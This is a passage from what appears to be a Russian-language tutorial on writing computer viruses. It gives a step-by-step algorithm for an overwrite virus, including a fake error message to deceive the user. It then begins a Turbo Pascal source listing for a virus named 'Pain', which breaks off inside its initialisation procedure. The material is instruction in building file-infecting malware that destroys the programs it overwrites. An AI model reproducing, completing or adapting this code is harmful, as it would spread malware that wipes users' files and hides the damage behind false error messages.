ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ – Π² ΠΊΠΎΠ½Π΅Ρ†. Π­Ρ‚ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π΄Π°ΠΆΠ΅ антивирусы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ свой ΠΊΠΎΠ΄ Π½Π° Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ запускаСмая вирусом ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΈΠΌΠ΅Π΅Ρ‚ Π² точности Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΊΠΎΠ΄, ΠΊΠ°ΠΊ ΠΈ Π΄ΠΎ инфицирования.

Вирусы, Π·Π°ΠΌΠ΅Ρ‰Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ (Overwrite)

Как ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΎΡΡŒ, этот Π²ΠΈΠ΄ вирусов ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΌΠ΅Ρ€Ρ‚Π². Π˜Π·Ρ€Π΅Π΄ΠΊΠ° ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π΅Ρ‰Π΅ Ρ‚Π°ΠΊΠΈΠ΅ вирусы, созданныС Π½Π° языкС Assembler, Π½ΠΎ это, скорСС, сорСвнованиС Π² написании самого малСнького overwrite-вируса. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ самый малСнький ΠΈΠ· извСстных overwrite-вирусов написан ReminderW (Death Virii Crew group) ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ 22 Π±Π°ΠΉΡ‚Π°.

Алгоритм Ρ€Π°Π±ΠΎΡ‚Ρ‹ overwrite-вируса ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:

1. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ», ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ вирус ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅.

2. Π‘Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π² Π±ΡƒΡ„Π΅Ρ€ ΠΊΠΎΠ΄ вируса.

3. Π—Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ».

4. Π˜ΡΠΊΠ°Ρ‚ΡŒ ΠΏΠΎ маскС подходящий для зараТСния Ρ„Π°ΠΉΠ».

5. Π•сли Ρ„Π°ΠΉΠ»ΠΎΠ² большС Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΏΡƒΠ½ΠΊΡ‚Ρƒ 11.

6. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ».

7. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π½Π΅ Π·Π°Ρ€Π°ΠΆΠ΅Π½ Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» этим вирусом.

8. Π•сли Ρ„Π°ΠΉΠ» Π·Π°Ρ€Π°ΠΆΠ΅Π½, ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΏΡƒΠ½ΠΊΡ‚Ρƒ 10.

9. Π—Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² Π½Π°Ρ‡Π°Π»ΠΎ Ρ„Π°ΠΉΠ»Π° ΠΊΠΎΠ΄ вируса.

10. Π—Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ» (ΠΏΠΎ ТСланию ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎ всСх Ρ„Π°ΠΉΠ»ΠΎΠ² Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ ΠΈΠ»ΠΈ Π½Π° дискС).

11. Π’Ρ‹Π΄Π°Ρ‚ΡŒ Π½Π° экран ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ сообщСниС ΠΎΠ± ошибкС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β«Abnormal program terminationΒ» ΠΈΠ»ΠΈ Β«Not enough memoryΒ», β€“ ΠΏΡƒΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ слишком удивляСтся Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π½Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΠ»Π°ΡΡŒ.

12. Π—Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ.

НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ листинг ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Π·Π°Ρ€Π°ΠΆΠ°ΡŽΡ‰Π΅ΠΉ Ρ„Π°ΠΉΠ»Ρ‹ Ρ‚Π°ΠΊΠΈΠΌ способом.

{$M 2048, 0, 0}

{$Aβˆ’}

{$Bβˆ’}

{$Dβˆ’}

{$E+}

{$Fβˆ’}

{$Gβˆ’}

{$Iβˆ’}

{$Lβˆ’}

{$Nβˆ’}

{$Sβˆ’}

{$Vβˆ’}

{$X+}

{Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Dos ΠΈ System (ΠΌΠΎΠ΄ΡƒΠ»ΡŒ System автоматичСски

ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ ΠΏΡ€ΠΈ компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Pain’;

{Π‘Ρ‚Ρ€ΠΎΠΊΠ° для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π° ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.

Она дописываСтся Π² Π·Π°Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ„Π°ΠΉΠ» сразу послС ΠΊΠΎΠ΄Π° вируса}

VirLabel: String[5]=’Pain!’;

{Π”Π»ΠΈΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΏΡ€ΠΈ компиляции EXEβˆ’Ρ„Π°ΠΉΠ»Π°}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ Π·Π°Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Ρ… Π·Π° ΠΎΠ΄ΠΈΠ½ сСанс Ρ€Π°Π±ΠΎΡ‚Ρ‹ Ρ„Π°ΠΉΠ»ΠΎΠ²}

InfCount=2;

Var

{Массив для опрСдСлСния наличия ΠΊΠΎΠΏΠΈΠΈ вируса Π² Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅}

VirIdentifier: Array [1.5] of Char;

{Ѐайловая пСрСмСнная для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ}

VirBody: File;

{Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° файловая пСрСмСнная – хотя Π±Π΅Π· Π½Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ

ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ, Ρ‚Π°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ понятнСС}

Target: File;

{Для ΠΈΠΌΠ΅Π½ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°}

TargetFile: PathStr;

{Π‘ΡƒΡ„Π΅Ρ€ для Ρ‚Π΅Π»Π° вируса}

VirBuf : Array [1.VirLen] of Char;

{Для Π΄Π°Ρ‚Ρ‹/Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π°}

Time : LongInt;

{Π‘Ρ‡Π΅Ρ‚Ρ‡ΠΈΠΊ количСства ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²}

InfFiles : Byte;

DirInfo : SearchRec;

LabelBuf : Array [1.5] of Char;

{Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ}

procedure Init;

begin

LabelBuf[1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3];

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

{ΠžΠ±Π½ΡƒΠ»ΡΠ΅ΠΌ счСтчик количСства ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²}

InfFiles:=0;

{БвязываСм Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ VirBody с ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹,

ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ стартовали}